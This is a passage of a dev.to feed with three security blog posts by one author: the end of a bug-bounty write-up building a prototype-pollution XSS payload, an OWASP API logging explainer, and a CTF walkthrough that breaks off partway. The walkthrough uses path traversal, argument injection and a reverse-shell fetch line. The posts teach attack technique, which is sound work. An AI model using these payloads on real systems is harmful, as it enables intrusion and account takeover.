&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--N01q5ugM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wortsbikaocwz8mor2ik.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--N01q5ugM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wortsbikaocwz8mor2ik.png" alt="inner HTML attribute" width="215" height="166"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we just have to add &lt;code&gt;settings[root][innerHTML]=&amp;lt;h1&amp;gt;testing...&amp;lt;/h1&amp;gt;&lt;/code&gt; to the previous payload and...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HuHrJFf_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ny0ce57ub1njdmyrabn2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HuHrJFf_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ny0ce57ub1njdmyrabn2.png" alt="it didn't work" width="880" height="372"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It didn't work! Why!? Let's just set a new a breakpoint right after the merge is done:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ITnFazWN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/niy9rqjpg6f7yjadr8ya.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ITnFazWN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/niy9rqjpg6f7yjadr8ya.png" alt="breakpoint at line 221" width="710" height="137"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Look! It's here (sanitized, but here)! Why doesn't it work in the end?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--FbaoI0Da--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e70taq0uqm6woogmuod0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--FbaoI0Da--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e70taq0uqm6woogmuod0.png" alt="innerHTML with sanitized h1 tag" width="384" height="164"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Do you guys remember that Mithril receives &lt;code&gt;devSettings.root&lt;/code&gt; as an argument for building the page's content? Yeah, in the end, when &lt;code&gt;m.mount()&lt;/code&gt; is called, it overwrites what we defined for &lt;code&gt;devSettings.root.innerHTML&lt;/code&gt;, so I could not use it as a direct way of injecting content to the page.&lt;/p&gt;

&lt;p&gt;But there's still hope! Look at how &lt;code&gt;devSettings.root&lt;/code&gt; is added to the page:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4Am5aMdr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q5h5hhm018kozdrh9jhg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4Am5aMdr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q5h5hhm018kozdrh9jhg.png" alt="the root is appended to the body" width="410" height="275"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's appended to the page's body, no overwrites involved. So we can use the &lt;code&gt;devSettings.root&lt;/code&gt; element as a way to get to the page body. There is more than one way of doing it, but since &lt;code&gt;body&lt;/code&gt; is an attribute of the page's &lt;code&gt;document&lt;/code&gt;, we may get there by using the devSettings.root &lt;code&gt;ownerDocument&lt;/code&gt; attribute, which is a reference to the page's &lt;code&gt;document&lt;/code&gt;, and then we will get to the &lt;code&gt;body&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;An example of working payload for that would be to add &lt;code&gt;settings[root][ownerDocument][body][innerHTML]=&amp;lt;h1&amp;gt;testing...&amp;lt;/h1&amp;gt;&lt;/code&gt; to that working prototype pollution, which would result in this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--AIvdCu5U--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pozsai3u8f22j6xibugy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--AIvdCu5U--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pozsai3u8f22j6xibugy.png" alt="h1 tag added to the page, but still sanitzed" width="840" height="222"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It was added to the page, which is progress in a sense, but it is still being sanitized, because &lt;code&gt;merge()&lt;/code&gt; calls a &lt;code&gt;sanitize()&lt;/code&gt; function in some situations. Let's take a look again:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HMDTtN62--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r9mdk9nsd92fwzir2vh4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HMDTtN62--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r9mdk9nsd92fwzir2vh4.png" alt="isPrimitive and sanitize are two important functions" width="416" height="229"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Assuming the case of we calling &lt;code&gt;merge()&lt;/code&gt; for &lt;code&gt;devSettings&lt;/code&gt;, what will happen is that the code will only add something from &lt;code&gt;qs.settings&lt;/code&gt; to &lt;code&gt;devSettings&lt;/code&gt; as the result of &lt;code&gt;sanitize()&lt;/code&gt;, so there is no way of just "ignoring" it. Let's look at how &lt;code&gt;sanitize()&lt;/code&gt; works too:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rMQr-CNe--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5rfwo9yknqgie9m0nje9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rMQr-CNe--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5rfwo9yknqgie9m0nje9.png" alt="Function with regex, but only apply it to strings" width="582" height="76"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It has a pretty strong regex defined there, in order to avoid XSS cases, but it doesn't always apply this replacing method, only for strings.&lt;/p&gt;

&lt;p&gt;This approach does make sense, since numbers and boolean values cannot carry an XSS payload inside them. But are these the only possible cases? Let's just check &lt;code&gt;ìsPrimitive()&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---mH1Fnde--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eld0q1x22yfv0xzfiwjd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---mH1Fnde--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eld0q1x22yfv0xzfiwjd.png" alt="function that checks if value is primitive" width="306" height="141"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Everything seems to be fine here, because it really just checks for primitives, but let's go back to the &lt;code&gt;merge()&lt;/code&gt; function, and try to look at it with different eyes:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--i7eb5JCx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ecss84fzebyh7faup9ge.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i7eb5JCx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ecss84fzebyh7faup9ge.png" alt="merge function with adaptations" width="512" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I changed the name of the variables so they relate more to what we are trying to do, and also ignored the &lt;code&gt;protectedKeys&lt;/code&gt; stuff because it's not a real problem to us anymore.&lt;/p&gt;

&lt;p&gt;Pay attention to how &lt;code&gt;isPrimitive()&lt;/code&gt; is being called. It receives &lt;code&gt;devSettings[key]&lt;/code&gt; as a parameter, but if there is no attribute with this key being previously declared, then &lt;code&gt;isPrimitive()&lt;/code&gt; will return true, because &lt;code&gt;devSettings[key]&lt;/code&gt; will be undefined!&lt;/p&gt;

&lt;p&gt;In other words, if our input contains something that still doesn't exist, it will also be considered as a primitive. 🧐&lt;/p&gt;

&lt;p&gt;Taking into account that &lt;code&gt;sanitize()&lt;/code&gt; skips the replacing method when the argument is not a string, we just have to find a different data type/strucutre that can also be printed by the browser in the page. Objects, maybe?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--cugeSFPx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4tg0ub52saw8eucikjq6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--cugeSFPx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4tg0ub52saw8eucikjq6.png" alt="didn't work" width="331" height="175"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nah, not what I was expecting 😂&lt;/p&gt;

&lt;p&gt;What about an array? We would just need to add [0] to the previous body's innerHTML payload, resulting in something like &lt;code&gt;config[window-toolbar][constructor][prototype][1]=8080&amp;amp;settings[root][ownerDocument][body][innerHTML][0]=&amp;lt;h1&amp;gt;testing...&amp;lt;/h1&amp;gt;&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JtAJ49Ke--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/57x0gltddnsz69q5bt9g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JtAJ49Ke--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/57x0gltddnsz69q5bt9g.png" alt="it did work" width="552" height="325"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It did work, yay! 🥳 So no we just have to replace this &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; tag with an XSS payload such as &lt;code&gt;&amp;lt;style onload=alert(document.domain)&amp;gt;&lt;/code&gt; and it will work, right?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--oD_zgREW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s2q8va505ls56sslo1co.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--oD_zgREW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s2q8va505ls56sslo1co.png" alt="No XSS happening" width="656" height="342"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Okay, the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; disappeared, but there's no extra prevention method for XSS, so what happened!? 😭&lt;/p&gt;

&lt;p&gt;Let's add a new checkpoint to the line in the end of the main function, in order to see what's going on:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JrK2-4jD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m7i0q42dz5qystwp189l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JrK2-4jD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m7i0q42dz5qystwp189l.png" alt="Checkpoint at line 239" width="640" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What!? Look at what's just happening in &lt;code&gt;qs&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--EjyrUK30--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9na49ca561tuc5dheynr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--EjyrUK30--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9na49ca561tuc5dheynr.png" alt="The payload disappeared" width="448" height="289"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The payload disappeared! Is the fact that we have an alert being called a problem? Let's test by changing the payload to just &lt;code&gt;&amp;lt;style onload&amp;gt;&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8WIuWTxA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/asux1qtsnztujcvvbfia.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8WIuWTxA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/asux1qtsnztujcvvbfia.png" alt="Style tag appeared again" width="417" height="112"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Okay...and what if we change it to just &lt;code&gt;&amp;lt;style alert(document.domain)&amp;gt;&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uvgeAqpo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/56kazic1r9mdw3aq2rqz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uvgeAqpo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/56kazic1r9mdw3aq2rqz.png" alt="Style tag still appears" width="582" height="107"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So what's the problem when we try to bring everything together? Well, remember that everything is being parsed by a query string parser, and that the &lt;code&gt;=&lt;/code&gt; sign is part of the query string specification, so probably Mithril is getting a little bit lost when trying to parse our payload. 🧐&lt;/p&gt;

&lt;p&gt;As a way of helping Mithril, we could just URL encode the &lt;code&gt;=&lt;/code&gt; sign, so our XSS payload becomes &lt;code&gt;&amp;lt;style onload%3Dalert(document.domain)&amp;gt;&lt;/code&gt;. When we give it a try...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GOA6RwOB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hdndl88qloq1u9olvg27.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GOA6RwOB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hdndl88qloq1u9olvg27.png" alt="It worked! XSS Popping up!" width="444" height="140"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Yay, it did work! XSS Popping up! 🥳&lt;/p&gt;

&lt;p&gt;So my final payload was &lt;code&gt;config[window-toolbar][constructor][prototype][1]=8080&amp;amp;settings[root][ownerDocument][body][innerHTML][0]=&amp;lt;style%20onload%3Dalert(document.domain)&amp;gt;&lt;/code&gt;, a little bit too big but that's okay 😎&lt;/p&gt;

&lt;h3&gt;
  
  
  Thank's for taking your time! Hope you got the process and learned something new! 🤗
&lt;/h3&gt;

</description>
      <category>security</category>
      <category>hacking</category>
      <category>javascript</category>
      <category>bugbounty</category>
    </item>
    <item>
      <title>API10:2019 - Insufficient Logging &amp; Monitoring</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Sat, 19 Mar 2022 21:47:50 +0000</pubDate>
      <link>https://dev.to/therealbrenu/api102019-insufficient-logging-monitoring-1k3a</link>
      <guid>https://dev.to/therealbrenu/api102019-insufficient-logging-monitoring-1k3a</guid>
      <description>&lt;p&gt;Hi, everyone! Hope you are having an amazing day 🤗&lt;/p&gt;

&lt;p&gt;Today, I'm here to write about the last topic of our OWASP API Security TOP 10 series, which is also the last item in their list. Although it seems, by its name, to have a pretty straightforward concept just like &lt;a href="https://dev.to/therealbrenu/api62019-mass-assignment-3b76"&gt;API6:2019&lt;/a&gt; has, API10:2019 may not be exactly the case!&lt;/p&gt;

&lt;h2&gt;
  
  
  🏞️ Logging and Monitoring
&lt;/h2&gt;

&lt;p&gt;First of all, I would like to differentiate these two concepts, because when I read API10:2019's name for the first time I thought it was a little bit redundant. Aren't logging and monitoring just the same thing? 🤔&lt;/p&gt;

&lt;p&gt;Well, not exactly. Although logging and monitoring have a strong relationship between each other, they also have two different meanings.&lt;/p&gt;

&lt;h3&gt;
  
  
  📈 Logging
&lt;/h3&gt;

&lt;p&gt;Personally, I like the definition that can be found on this &lt;a href="https://www.hacksplaining.com/exercises/logging-and-monitoring" rel="noopener noreferrer"&gt;really nice lesson from hacksplaining&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Logging refers to having an application write a record of each event that occurs (...). These “log files” can be read by administrators to analyse what the application was doing at a given point in time.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;These event records may vary from simple ones, such as endpoints being called, to also things like alerts, exceptions being triggered, etc. They may also have different "levels" so it gets easier to look for more specific events, but they generally have a pretty similar format, regardless of their level.&lt;/p&gt;

&lt;h3&gt;
  
  
  📈 Monitoring
&lt;/h3&gt;

&lt;p&gt;Monitoring may have different purposes, depending on the context of the application, but this whole series was about securing APIs, and when it comes to this specific context, I would describe monitoring as being a step after logging, where interesting activities (suspicious ones) can be separated and flagged as potential attacks.&lt;/p&gt;

&lt;p&gt;These flagged activities, depending on the possible criticality, may also trigger alerts to be sent through email, SMS, Telegram, etc...so that the responsible people get aware instantly.&lt;/p&gt;

&lt;h2&gt;
  
  
  😳 When it becomes a threat
&lt;/h2&gt;

&lt;p&gt;So how can things go wrong? Well, there are some different cases. In some of them, not having enough logging and monitoring is the problem, and in some other cases, a logging or monitoring functionality may also be the exact root cause of a security issue.&lt;/p&gt;

&lt;p&gt;Let's say you have a web application in which there is an administration feature that let's you see all of the application logs being displayed like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3uxr56d67xbwf0ruoufl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3uxr56d67xbwf0ruoufl.png" alt="Screen with log messages being displayed"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Given this cool logging feature, API10:2019 could still happen in scenarios such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;There is no monitoring, so the administrator has to be watching logs 24/7 😓&lt;/li&gt;
&lt;li&gt;These logs include sensitive data, such as users' credentials when they try to authenticate 😨&lt;/li&gt;
&lt;li&gt;The endpoint that gives these logs to the UI is not restricted to admin-only users (just like &lt;a href="https://dev.to/therealbrenu/api52019-broken-function-level-authorization-1jl0"&gt;API5:2019&lt;/a&gt;) 🤡&lt;/li&gt;
&lt;li&gt;The API doesn't sanitize the content of these logs before retrieving them, making them a possible vector of injection attacks (from XSS to even OS Command Injection) 😭&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More cases and prevention methods can be found on the &lt;a href="https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xaa-insufficient-logging-monitoring.md" rel="noopener noreferrer"&gt;OWASP API Security Top 10 official repository&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🤗 Thank you!
&lt;/h2&gt;

&lt;p&gt;It was a really nice experience to write this series, and I learned a lot while writing each blog, especially after realizing that each vulnerability can be connect to others on the list. I enjoyed this process of sharing what I'm learning, and in the future you guys may see a different series, but for now I am going to focus more on college stuff and make just punctual blogs 😋&lt;/p&gt;

&lt;p&gt;And to whoever read this weird series until the end, thank you for taking your time and thank you for your patience 🤗&lt;/p&gt;

</description>
      <category>security</category>
      <category>hacking</category>
      <category>api</category>
      <category>owasp</category>
    </item>
    <item>
      <title>Lovely Kitten Pictures - Intended Solution</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Sun, 13 Mar 2022 10:11:26 +0000</pubDate>
      <link>https://dev.to/therealbrenu/lovely-kitten-pictures-intended-solution-3m9h</link>
      <guid>https://dev.to/therealbrenu/lovely-kitten-pictures-intended-solution-3m9h</guid>
      <description>&lt;p&gt;When we see the page for the first time, there's a picture of a cat, and also a button that switches between different cat pictures:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fegd0kzg47xjwiike2w06.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fegd0kzg47xjwiike2w06.png" alt="initial page"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🐈 Flag 1
&lt;/h2&gt;

&lt;p&gt;If we try to open one of the pictures in a new tab, it's possible to see that the picture is actually being loaded by a PHP endpoint, and that the request has a &lt;code&gt;path&lt;/code&gt; parameter, like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://challenge.com/pictures.php?path=assets/4.jpg&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Just by seeing a file being loaded like this, the first thing we may try is to replace &lt;code&gt;assets/4.jpg&lt;/code&gt; for something like &lt;code&gt;../../../etc/passwd&lt;/code&gt;, but when we try that, the endpoint returns the message &lt;code&gt;Not yet!&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Trying similar path traversal payloads also seems to not work, but when we try to load a file that's inside of the project, like &lt;code&gt;index.php&lt;/code&gt;, this file is downloaded and we get the first flag as part of the filename.&lt;/p&gt;

&lt;h2&gt;
  
  
  🐈 Flag 2
&lt;/h2&gt;

&lt;p&gt;This &lt;code&gt;index.php&lt;/code&gt; file doesn't actually have anything we couldn't see with the browser developer tools, but when we look at the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag at the bottom of the page, we can see that &lt;code&gt;fetch()&lt;/code&gt; being called in order to make an HTTP request to another php file called &lt;code&gt;cat_info.php&lt;/code&gt;, and we can download it just like we did with the previous file!&lt;/p&gt;

&lt;p&gt;When we read the file, it's possible to see something interesting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$kittenID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;escapeshellcmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/var/www/html/cat_info/main -c &lt;/span&gt;&lt;span class="nv"&gt;$kittenID&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So it picks up the request parameter &lt;code&gt;id&lt;/code&gt; and use it as an argument while calling a shell command with &lt;code&gt;escapeshellcmd&lt;/code&gt;. According to the &lt;a href="https://www.php.net/manual/en/function.escapeshellcmd.php" rel="noopener noreferrer"&gt;PHP documentation&lt;/a&gt;, this function:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;(...) escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;So we cannot just add commands after the cat's ID, because they will be sanitized. But the same page in PHP docs also has this warning regarding &lt;code&gt;escapeshellcmd&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;(...) it still allows the attacker to pass arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We can see from the code above that &lt;code&gt;escapeshellarg&lt;/code&gt; is not being used at all, and this means that we can add extra arguments to this command which is being called. If we simply try to add a &lt;code&gt;-h&lt;/code&gt; flag after the kitten id, resulting in a request like &lt;code&gt;/cat_info.php?id=4 -h&lt;/code&gt;, this banner will be displayed:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpl5ggb0ed9a31yca175f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpl5ggb0ed9a31yca175f.png" alt="Program banner"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It says that the flag &lt;code&gt;-e&lt;/code&gt; can be used along with a URL in order to execute health checks, and a .sh file is being passed in the examples of usage, which is interesting. It also says that only localhost URLs will be allowed, but its filter can be bypassed with a &lt;code&gt;@&lt;/code&gt; character, and a payload like the one below will give us a reverse shell:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/cat_info.php?id=4 -e http://localhost@reverse-shell.sh/YOUR_IP:PORT&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When in the server, as the user &lt;code&gt;www-data&lt;/code&gt;, apparently Python is not installed, but the &lt;code&gt;script&lt;/code&gt; command may be used in order to get a more interactive shell:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;script -qc /bin/bash /dev/null&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now if we go to the &lt;code&gt;/&lt;/code&gt; directory, it is possible to see the second flag in the file &lt;code&gt;flag2.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  🐈 Flag 3
&lt;/h2&gt;

&lt;p&gt;Now heading to the &lt;code&gt;/home&lt;/code&gt; directory, it is possible to see the home directories of two other different users, &lt;code&gt;level1&lt;/code&gt; and &lt;code&gt;admin&lt;/code&gt;. So we might guess that the final goal is to get access to this admin user.&lt;/p&gt;

&lt;p&gt;When we try to access one of these home directories, such as level1, an error message says:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bash: cd: level1: Permission denied&lt;/code&gt;&lt;/p&gt;

